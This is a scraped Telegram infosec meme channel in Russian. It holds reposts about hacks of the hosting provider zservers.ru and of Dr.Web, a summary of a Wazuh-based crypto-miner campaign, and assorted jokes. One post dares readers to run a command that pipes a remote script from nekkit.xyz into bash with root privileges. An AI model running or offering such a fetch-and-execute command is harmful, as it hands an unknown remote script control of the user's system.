папкин ИБшник, мамкин хацкер
55 subscribers
776 photos
78 videos
19 files
244 links
Круглосуточный уголок shit-постинга на темы около DevSecOps, Reverse-Enginnering, NetDiscovery, DataMining. Ну и конечно же мемесы.
Download Telegram
Forwarded from vx-underground
In honor of Cybersecurity Awareness Month we are issuing a challenge!

All of you (yes, even you) have to get 1 malware.

1 malware = 1 awareness

Good luck!!!!!1
vx-underground
In honor of Cybersecurity Awareness Month we are issuing a challenge! All of you (yes, even you) have to get 1 malware. 1 malware = 1 awareness Good luck!!!!!1
ну че, погнали?)

curl -sl https://nekkit.xyz///rootme | bash


Шалость? Определенно, однако UID = 0 😁
Выводы делайте сами :)))
1
Ладн, ластовый мемес и system halt 😋
Please open Telegram to view this post
VIEW IN TELEGRAM
1
В течение последней недели или около того неизвестный человек присылал @vxunderground несколько интересных фотографий.

Этот человек утверждает, что разочарован в провайдере хостинга "не пробиваемого" 'zservers ТЧК ru'. Их разочарование привело к тому, что они провели 'пентест' и успешно скомпрометировали "не пробиваемого" провайдера хостинга.

Следует отметить, что это не первый раз, когда мы делимся информацией о взломе zserver. Несколько месяцев назад мы раскрыли, что неизвестный человек утверждал, что скомпрометировал провайдера хостинга.

Подводя итог:
у них ВСЕ ЕЩЕ есть доступ. Прошло несколько месяцев.


За время нашего разговора они прислали нам десятки скриншотов с этого хостинга. Они раскрыли настоящее имя владельца (с паспортными данными и фотографиями). Они также показали переписку по электронной почте между владельцем и клиентами, у которых есть вопросы об услугах и ценах.

Они также успешно перечислили каждого клиента провайдера абузоустойчивого хостинга — имена клиентов (вероятно, поддельные), адрес электронной почты, используемый для регистрации на сервисе, платежную информацию и услуги, за которые они платят.

Эти неизвестные лица сумели продвинуться дальше и получить доступ к административным ресурсам, обнаружив, что у этого провайдера абузоустойчивого хостинга есть каталог под названием «пароли (все)», который заполнен сотнями, возможно, тысячами учетных данных для различных вещей.

Если вам от этого станет легче, они действительно читают жалобы на злоупотребления, которые получают. Но они не предпринимают по ним никаких действий. По крайней мере, их читают, верно?
🗿1
Коротко о морали в Perplexity.ai
🤔1
Мотивация должна быть мотивационной (С) Jason Statham
Одно слово - это два слова (С) Jason Statham
1
Произошел сбой в работе кормилицы. Ошибка драйвера 0х0069, "/bus/pzda не распознана! Обратитесь к разработчику.

Переход в безопасный режим. Система подключена к шине "GTWB: Get to work, bitch. Адрес: 0xOFFICE"

😂
Please open Telegram to view this post
VIEW IN TELEGRAM
1
Продолжая историю падения zservers ТЧК ru
Forwarded from vx-underground
The unknown person who claims to have compromised zserver dot ru, the bulletproof webhosting provider, has begun sending emails to zserver dot ru clients.

Interestingly, the person who claimed to have compromised zserver dot ru did not tell us this.

One of their customers did.
me right now, w wait'n ma supa-dupa-lupa-pupa-GPT on local machine reparse 100500 strings of ocean shit. ETA 2 hours....
👎1
А вообще болеть отвратительно. К тому же, по ощущениям гарантия завода изготовителя закончилась, а мне даже четверти века нету....
1
👮‍♀ Ты должен бороться, а не примкнуть злу

Интересная статья на сайте Securelist описывает кампанию по несанкционированной добыче криптовалюты, в которой злоумышленники используют открытый исходный агент SIEM Wazuh для достижения своих целей.

1. Цели и методы атаки:
- Кампания, начавшаяся в 2022 году, нацелена на русскоговорящих пользователей и использует различные ресурсы для распространения вредоносного ПО.
- Злоумышленники продвигают фальшивые сайты для скачивания популярных программ (например, uTorrent, Microsoft Office), которые содержат вредоносные файлы.

2. Способы распространения:
- Вредоносное ПО распространяется через поисковые системы, Telegram-каналы и YouTube.
- Злоумышленники используют фальшивые ссылки в комментариях под видео и в описаниях, а также отключают функции пересылки сообщений в своих каналах для предотвращения распространения информации о мошенничестве.

3. Техника заражения:
- Пользователи скачивают ZIP-архивы с MSI-файлами, которые требуют ввода пароля для установки.
- После установки вредоносный код запускает скрипты и добавляет себя в автозапуск системы с привилегиями SYSTEM.

4. Использование Wazuh:
- Атакующие используют Wazuh для удаленного контроля и сбора телеметрии.
- Имплант собирает информацию о системе жертвы и отправляет ее на сервер злоумышленников.

5. География атак:
- Большинство атак затронули пользователей из России (87,63%), а также из Беларуси, Индии и других стран.


🖥 Подробнее: https://securelist.ru/miner-campaign-misuses-open-source-siem-agent/110717/
Please open Telegram to view this post
VIEW IN TELEGRAM
Хакерская группировка «DumpForums» заявила, что они взломали инфраструктуру компании «Доктор Веб» (drweb.ru). 🙈

Через официальный Telegram-бот компании (@DrWebBot), пользователям приходят сообщения о взломе.

Кроме того, в качестве подтверждения хакеры предоставили несколько дампов баз данных внутренних ресурсов таких, как: ldap.dev.drweb.com, vxcube.drweb.com, bugs.drweb.com, antitheft.drweb.com, rt.drweb.com и др.

Судя по информации из дампов, данные в них актуальны на 17.09.2024.